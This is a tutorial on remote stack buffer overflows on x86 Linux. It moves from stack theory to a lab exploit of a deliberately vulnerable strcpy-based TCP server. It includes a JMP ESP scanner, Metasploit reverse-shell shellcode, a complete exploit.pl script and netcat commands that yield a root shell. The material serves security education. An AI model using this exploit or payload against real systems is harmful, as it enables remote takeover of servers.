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Explanation of a remote buffer overflow vulnerability 
 
 
 
 
 
 

Introduction 
Many times you heard about the “Buffer overflow vulnerability” in a specific software, may be you also 
download a script or program to exploit it, but now, you’ll learn what a buffer overflow is, and what happens 
when it occures, including the risks for the corrupted system. 
The trip to this vulnerability starts from theory and terminates with a laboratory experience that showes an 
exploitation of this vulnerability, in action. 
This document is a “proof of concept” and its purpose is to take the reader from theory to practice in this 
vulnerability. Of course the author is not responsible for the potential “bad use” that someone can do with it. 
Because of the existence of many different computer architectures, the content of this document will regard 
the only Intel x86 architecture and the operating system Linux. 
More in depth, the experiment will regard an exploitation of a server process, running on an OpenSuSE 10.2 
OS, kernel 2.6.18, compiled with gcc version 4.1.2. 
Let’s start with a bit of theory. 
 

Buffer Overflow Definition 
In informatic sience, a buffer overflow, is a programming error that throws a memory access exception. 
It occures when a process attemps to store data beyond the boundaries of a fixed-length buffer, overwriting 
adjacent localtions of memory, including some program’s “flow data” and causing the process termination 
with a Segmentation Fault error. 
Since the “flow data” is a pointer of the next instruction the program will process, by overwriting it, it is 
possible to take control of the execution flow, inject arbitrary command and transform the programming error 
into a security lack for the host system. 
First of all, we need to take a look of how a process organize its memory. 
 

A process memory 
Assuming that the host system uses virtual memory mechanism, a process virtual address space is divided 
into at least 3 memory segments. 
- a text segment, which is a read only part of memory, used to maintain the code of the program at run time. 
- a data segment, which is a separate region of memory where data can be also written by a process. 
Because of the write access to this special area, a data segment will be placed on a different memory page 
than the text segment, so for every program that needs to write data, at least two memory pages of 4096 
bytes will be used. 
- and finally, the stack which is a portion of memory shared with the operating systems. It is used by a 
program for communicate with subprograms (or functions), for temporary storage of data and for system 
calls. 
 
Making apart the first two memory segments, we will talk about the stack because is where a buffer overflow 
occures. 
 

The Stack 
As mentioned before, the part of memory named stack, is a region where a program can store its arguments, 
its local variable and some “special purpose” data to control the program execution flow. In the computer 



architecture we are going to examinate, every data stored into the stack is aligned to a multiple of four byte 
long. On IA-32 architecture, a four byte long data is called “double-word” (further referred as dword). 
The stack on Linux operating system begins at high memory addresses and grow to low memory addresses. 
Also the memory on the Intel x86, follows the little endian convention, so the last significant byte value is 
stored at the low address, the other bytes follow in increasing order of significance. We can say that the 
memory is written from low address to high address. 
Everything said can be verified by looking at the following schema: 
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The stack is so called because of its storage policy named L.I.F.O., or Last In First Out. It means that the last 
dword stored in memory will be the first retrived. 
The operations permitted in the stack are push and pop. Push is used to insert a dword of data into the stack 
and pop retrives the last dword by the stack. 
A caller program, uses the stack to pass parameter for a called function. 
For every function call, a stack frame is activated to contain the following: 
- The function parameters 
- The return address, useful to store the memory address of the next instruction to be called after the 
function returns. 
- The frame pointer, that is used to get a reference to the current stack frame and permit the access to local 
variable (giving a negative offset from it) and function parameters (giving a positive offset from it) 
- The local variables of a function. 
In the x86 architecture, at least three process registry came into play with the stack, those are EIP, EBP, 
ESP. 
The first (EIP) points the return address of the current function, the second (EBP), points the frame pointer of 
the current stack frame, and the third (ESP) points to the last memory location on the top of the stack. 
 
Look at the C code below, 
 

void function(int x, int y) 

{ 

         int z = 0; 

         int q = 1;   

} 

 

int main(char *argv[]) 



{ 

         function(5, 7); 

} 

 

 
For the function call in main, the assembly code generated has to push the function’s parameters into the 
stack in a reverse order of declaration, and call the function (it corresponds to push the return address in the 
stack and jump to the cell of memory where the function code reside). 
 

push 0x07 

push 0x05 

call function    (push %eip, jmp 0x………) 

 

 
As soon as the function is invoked, it operates what is called a procedure prolog, in fact it pushes the frame 
pointer (EBP) into the stack, it copies the stack pointer ESP to the base pointer EBP, making it the new 
frame pointer and subtract from ESP the space required to store the function’s local variables. 
 

push %ebp 

movl %esp, %ebp  

sub 0x08, %esp 

 

 

this is the snapshoot of the stack, when the function is called by main. 
 

 

 

Now, the new function has on the stack its own activation record, containing averything it needs  to perform 
its actions, until it returns, doing what it’s called procedure epilogue. 
In the procedure epilogue: it restores the stack pointer, pops the old EBP back into EBP, grab the return 
address from the stack and jmp to it. 
 

movl %ebp,%esp 
pop %ebp 
ret            (pop %eip and jump to it) 

 



As you notice, the EIP register is quite dangerous, because if we were able to overwrite it with a custom 
memory address, we would change the execution flow of the program, and that is what we call, smashing 
the stack. 
In the next section we will demonstrate the weakness of this cumputational strategy. 
 
 
 
 

Our test scenario 
Our test scenario, is composed by two hosts, acting as client and server respectively.  
The server executes a vulnerable process that is responsible for listen on the 1025 tcp port, wait for a string 
sent over the network by the client and print it to its stdout, then the server, send an update to the client to 
notice the user that his message has been printed on server’s stdout… and that’s all. 
 

 

 

Even if it’s not a real program, it is useful to demonstrate the power of a buffer overflow exploitation. 
 
 

Overflowing the vulnerable server process 
So, take a look the server-side program code: 
 
#include <sys/types.h> 

#include <sys/socket.h> 

#include <netinet/in.h> 

#include <string.h> 

#include <stdlib.h> 

 

void error(char *msg) 

{ 

    perror(msg); 

    exit(1); 

} 

 

void viewer(char *string) 
{ 

        //declaration of a char buffer 
        char buffer[1024]; 

        //we copy the parameter string to that buffer 
        strcpy(buffer,string); 

        //finally we print the content of the string buffer to stdout 
        printf("The user entered: %s",buffer); 

} 

 

int main(int argc, char *argv[]) 

{ 

     int sockfd, newsockfd, portno, clilen; 

     char buffer[2000]; 



     struct sockaddr_in serv_addr, cli_addr; 

     int n; 

     if (argc < 2) { 

         fprintf(stderr,"ERROR, no port provided\n"); 

         exit(1); 

     } 

     sockfd = socket(AF_INET, SOCK_STREAM, 0); 

     if (sockfd < 0) 

        error("ERROR opening socket"); 

     bzero((char *) &serv_addr, sizeof(serv_addr)); 

     portno = atoi(argv[1]); 

     serv_addr.sin_family = AF_INET; 

     serv_addr.sin_addr.s_addr = INADDR_ANY; 

     serv_addr.sin_port = htons(portno); 

     if (bind(sockfd, (struct sockaddr *) &serv_addr, 

              sizeof(serv_addr)) < 0) 

              error("ERROR on binding"); 

     listen(sockfd,5); 

     clilen = sizeof(cli_addr); 

     while(1) 

     { 

        newsockfd = accept(sockfd, 

                 (struct sockaddr *) &cli_addr, 

                 &clilen); 

     if (newsockfd < 0) 

          error("ERROR on accept"); 

     bzero(buffer,256); 

     n = read(newsockfd,buffer,2000); 

 

     if (n < 0) error("ERROR reading from socket"); 

     viewer(buffer); 

     n = write(newsockfd,"The message is been printed to server's stdout", strlen("The message is 

been printed to server's stdout")); 

     if (n < 0) error("ERROR writing to socket"); 

     } 

     return 0; 

} 

 
A full explanation of the server code is not needed, we will only explain where the error resides. 
Look at the highlighted viewer() function, there is a  line where the string received as parameter is copied, 
using strcpy(), into a local buffer just before to print it out. Unfortunately, the buffer is 1024 bytes long, and 
there’s nothing that prevent the user to insert a string longer than 1024 characters. 
But what happens if a user does it? The string is copied into the buffer anyway, and after the 1024

rd
 byte it 

overflowes the next space allocated into the stack, reaching the return address! So when the viewer function 
returns, it pops from the stack the return address but since it is been overwritten, most probably our program 
hangs with an error of segmentation fault because it points to an invalid memory location. 
 
So, let’s try to overflow that buffer . 
First of all, we start the server process into gdb (the GNU debugger), to see the status of registers and 
memory in case of a process crash. 
 

root@server# gdb server 

(gdb) run 1025 

Starting program: /root/work/security/server 1025 

 
The length of the string that completely overflows the return address should be 1032 byte long, 1024 to fill 
the buffer, 4 to overwrite the frame pointer and finally 4 to overwrite the return address. To reproduce a 1032 
characters string we use a perl script and we pipe the output to a netcat, connected to the server’s socket. 
 

root@client# perl –e ‘print “A”x1032’ | nc –v –v 192.168.1.2 1025 

 
at the server side, looking at the gdb output we can see: 
 

The user entered: 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA



AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

Program received signal SIGSEGV, Segmentation fault. 

0x41414141 in ?? () 

 

The error message means that the process died because the return address has been overwritten with our 
input string. 
The diagram illustrates the state of the function stack frame in case of a 1024 char buffer, with EBP and EIP 
intact. 
 
 

 

 
The second diagam illustrates the state of the stak in case of an overflowed char buffer, as you can see the 
EIP is been overwritten with the character A, that corresponds to 0x41 exadecimal value. We overwrite the 
EIP register taking control of the process execution flow. 
 

 
Just to make sure that bytes from 1029 to 1032 fill the return address space, we make another kind of test: 
We build a string of 1028 characters A, followed by a dummy memory address 0xdeadbeef. But remember 
the little endian convention? Those characters have to be translated in a string like this: \xEF\xBE\xAD\xDE. 
 
By injecting the malicious string 
 



root@client# perl –e ‘print “A”x1028 . “\xEF\xBE\xAD\xDE”’ | nc –v –v 192.168.1.2 
1025 

 
the server responds: 
 

The user entered: 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

Program received signal SIGSEGV, Segmentation fault. 

0xdeadbeef in ?? () 

 
Bingo! Of course the process cannot access to our dummy address “0xdeadbeef” as we expected. 
We are ready for the exploitation. 
 
 

A buffer overflow exploitation 
The actions sequence to exploit a buffer overflow vulnerability, consist in three major steps: 
 

- Inject into the server process a malicous code that we want to execute. 
- Overflow the buffer in order to reach the return address of the vulnerable function. 
- Overwrite the return address with a pointer to our code, to get it executed. 

 
This is not as simple as it seems but we try to explain how to do that, step by step. 
 
To inject a malicious code, we need to know what a malicious code is and where we have to place it into the 
server’s memory. 
The code, sometimes referred as payload or shellcode, is a sequence of machine instruction (op-codes), 
directly undestandable by the computer’s CPU. It is quite similar to assembly language, even if we don’t use 
mnemonic instructions, but theire respective exadecimal values. 
The only gate between us and the server’s cpu is the vulnerable viewer function, so we are going to inject 
the shellcode as an argument for that function, of course sent by the client over the network. 
An intresting code to get executed could be a reverse shell, that is a backdoor process that, as soon as it is 
been exectuted at the server side, it connects back to the client, provinding an interactive command 
interpreter, allowing us to execute commands to the server. 
Of course, to do that, the client must have a netcat, listening on a specified tcp port, where the server’s 
shellcode will connect back. 
The exploitation process, using a reverse shell is illustrated in the followind diagram: 



 
 
The reverse shell is used, instead of direct shell, to bypass a possible firewall that filters incoming 
connections to a port that is not the one used by the server process, that is 1025 tcp. 
Since the purpose of this document is not to teach how to build shellcode, we download a pre-crafted string 
directly from metasploit web site. 
This is the string of shellcode, suitable for our needs: 
 

# linux_ia32_reverse -  LHOST=192.168.1.1 LPORT=4444 Size=202 Encoder=Alpha2 

http://metasploit.com 

my $shellcode = 

"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x37\x49\x49". 

"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x4a". 

"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x5a\x42\x41\x32\x41\x41\x32". 

"\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x7a\x49\x74\x71\x59". 

"\x4b\x51\x43\x61\x53\x42\x73\x70\x6a\x66\x62\x41\x7a\x61\x76\x51". 

"\x48\x4f\x79\x5a\x41\x7a\x6d\x6d\x50\x5a\x33\x61\x49\x68\x30\x35". 

"\x6f\x6a\x6d\x4d\x50\x30\x49\x50\x79\x6b\x49\x51\x4b\x62\x7a\x45". 

"\x38\x79\x50\x6e\x48\x65\x51\x37\x71\x65\x36\x50\x68\x42\x31\x71". 

"\x4c\x72\x63\x62\x46\x46\x33\x4e\x69\x49\x71\x48\x30\x31\x76\x30". 

"\x50\x50\x51\x53\x63\x6e\x69\x49\x71\x42\x63\x5a\x6d\x6d\x50\x33". 

"\x62\x31\x78\x76\x4f\x64\x6f\x71\x63\x30\x68\x31\x78\x64\x6f\x75". 

"\x32\x31\x79\x30\x6e\x6e\x69\x59\x73\x61\x42\x32\x73\x6e\x69\x68". 

"\x61\x6e\x50\x34\x4b\x58\x4d\x6f\x70\x4a"; 

 

 
The shellcode is 202 bytes long, and at first sight, we can consider to insert it into the buffer of the viewer 
function followed by 826 “A” to completely fill the 1024 byte buffer and the frame pointer. Then overwrite the 
return address with the address of the beginning of the buffer (most probably it corresponds to the ESP 
register value). 
The following diagram can clarify this concept: 
 
 
 
 
 
 
 
 
 
 
 



 
bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF   top of 

memory     89ABCDEF0123456789AB  CDEF  0123  4567   memory 

           buffer                sfp   ret   string 

 

<------   [SSSSSSSSSSSSSAAAAAAA][AAAA][0xD8][     ] 

           ^                            | 

           |____________________________| 

 

top of     |                                                      bottom of 

stack      |                                                           stack 

                        | 
                      ESP (the stack pointer, points to the top of the stack, that is at the beginning of our shellcode) 

 
Even if the dicovery of the ESP value implies the installation of the server process on the client for testing 
purpose, and the execution of it under gdb to see the content of ESP at crash-time, it will be useless since 
Linux OS, starting from kernel 2.6 embed a stack protection mechanism called VA Space Randomization  
that randomize within 8Mb range the base address of every ELF executable file so the buffer’s address will 
change everytime the process is exectued. 
We need to overwrite the return address with a value that change at runtime and points always to the 
content of the ESP register. 
This tecnique is called RET2ESP. 
Assuming that both, client and server, share the same version of operating system, we can dig into the client 
side to search for a potential return address that perform an action similar to: JMP %ESP or CALL %ESP 
and will be suitable for server side as well. 
This return address, jumps directly to the ESP value location, wherever it reside, randomized or not. 
This is definitely  what we need for, but how to search an address like this? We can recruite linux-gate.so.1, 
a special dinamic shared object linked at fixed position (it is not affected by VA Space Randomization) in 
every executable file at address 0xffffe000. 

Knowing the address of this object, we can write a small byte scanner, that starting from it, and within a 
memory page range, searches for the sequnce FFE4 that corresponds to JMP %ESP. 
The code of byte scanner looks like this: 
 

#include <stdio.h> 

#include <stdlib.h> 

#include <unistd.h> 

 

int main(int argc, char *argv[]) { 

 int i, jmps; 

 char *ptr = (char *) 0xffffe000; 

 

 jmps = 0; 

 

 for (i = 0; i < 4095; i++) { 

 

  if (ptr[i] == '\xff' && ptr[i+1] == '\xe4') { 

 

   printf("* 0x%08x : jmp *%%esp\n", ptr+i); 

   jmps++; 

  } 

 } 

 

 if (!jmps) { 

 

  printf("* No JMP %%ESP were found\n"); 

 } 

 

 return 1; 

} 

 

By compiling the code and exectuing it, an address should pop out 
 



root@client# gcc bytescan.c –o bytescan 

root@client# ./bytescan 

* 0xffffe777 : jmp *%esp 

root@client# 

 

Fine! The addrress 0xffffe777 has to be used as return address to exploit the function. 

But doing so, the snapshot of our stack is slightly diffent than before, because the viewer function returns 
and the ESP register will point always at ret+4 bytes. 
A successfully compromized stack now looks like this: 
 

bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF    FFF                  top of 

memory     89ABCDEF0123456789AB  CDEF  0123  4567    89A                          

           buffer                sfp   ret   param 

          --------------viewer stack frame-------- | -----main stack frame----- 

<------   [AAAAAAAAAAAAAAAAAAAA][AAAA][0xF4][SSSS] [SSSSSSSSSSS] 

                                        |    ^      

top of                                  |___ |                         bottom of                                            

stack                                        |                                            

                                                                                                 | 
                                                                                                 ESP  
(When the viewer function returns, the ESP points to the beginning our shellcode) 

 
So, the evil string that our client has to send to the server is made up of: 
 
“A” x 1028 to reach the return address + “\x77\xe7\xff\xff” (the 0xffffe777 return address in little endian 
format) + the shellcode + “\x00” (the null terminator character) 
 
Putting all pieces together, we write a simple perl script that prints that string to stdout. 
 

# exploit.pl 

# author: Denis Maggiorotto 

 

# linux_ia32_reverse -  LHOST=192.168.1.1 LPORT=4444 Size=202 Encoder=Alpha2 

http://metasploit.com 

my $shellcode = 

"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x37\x49\x49". 

"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x4a". 

"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x5a\x42\x41\x32\x41\x41\x32". 

"\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x7a\x49\x74\x71\x59". 

"\x4b\x51\x43\x61\x53\x42\x73\x70\x6a\x66\x62\x41\x7a\x61\x76\x51". 

"\x48\x4f\x79\x5a\x41\x7a\x6d\x6d\x50\x5a\x33\x61\x49\x68\x30\x35". 

"\x6f\x6a\x6d\x4d\x50\x30\x49\x50\x79\x6b\x49\x51\x4b\x62\x7a\x45". 

"\x38\x79\x50\x6e\x48\x65\x51\x37\x71\x65\x36\x50\x68\x42\x31\x71". 

"\x4c\x72\x63\x62\x46\x46\x33\x4e\x69\x49\x71\x48\x30\x31\x76\x30". 

"\x50\x50\x51\x53\x63\x6e\x69\x49\x71\x42\x63\x5a\x6d\x6d\x50\x33". 

"\x62\x31\x78\x76\x4f\x64\x6f\x71\x63\x30\x68\x31\x78\x64\x6f\x75". 

"\x32\x31\x79\x30\x6e\x6e\x69\x59\x73\x61\x42\x32\x73\x6e\x69\x68". 

"\x61\x6e\x50\x34\x4b\x58\x4d\x6f\x70\x4a"; 

 

my $retaddr = 

"\x77\xe7\xff\xff"; 

 

print "A"x1028 . $retaddr .  $shellcode . "\x00"; 

 
 

The exploitation 
The first thing to do is to run a netcat on the client, listening on 4444 tcp port and wainting for incoming 
connections 
 
 

root@client# nc –v –v –l –p  4444 



listening on [any] 4444 

 
Then, assuming that at the server side the process is running, start the exploit script as follow: 
 
 

root@client# perl exploit.pl | nc –v –v 192.168.1.2 1025 

 
Now on the terminal where our netcat is listening for connections you’ll see: 
 

root@client# nc –v –v –l –p  4444 

listening on [any] 4444 

192.168.1.2: inverse host lookup failed: No address associated with name 

connect to [192.168.1.1] from (UNKNOWN) [192.168.1.2] 59126 

 
Looks good? The reverse shell we injected into the server process, is connected back to our client offering 
us a command prompt on the server, so let’s try to type some command: 
 

root@client# nc –v –v –l –p  4444 

listening on [any] 4444 

192.168.1.2: inverse host lookup failed: No address associated with name 

connect to [192.168.1.1] from (UNKNOWN) [192.168.1.2] 59126 

id 

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys) 

uname –a 

Linux server 2.6.18 i386 GNU/Linux 

 
As you can see, our commands have a response and we gained the access to the server but not a simple 
user access… since the sysadmin of the server process (unfortunately me) has been so stupid to start it as 
root, our reverse shell hinerited root permissions on the whole corrupted system, we can say we are 
root@server!!! 
 

Conclusions: 
As you learnt in this paper, buffer overflow vulnerability is not only a programming error, it can be exploited to 
execute arbitrary code on the system, and is much more dangerous if the software affected can be 
overflowed by network, allowing the access from everywere in the world. 
Please send your feedback at: denis.maggiorotto@sunnyvale.it . 
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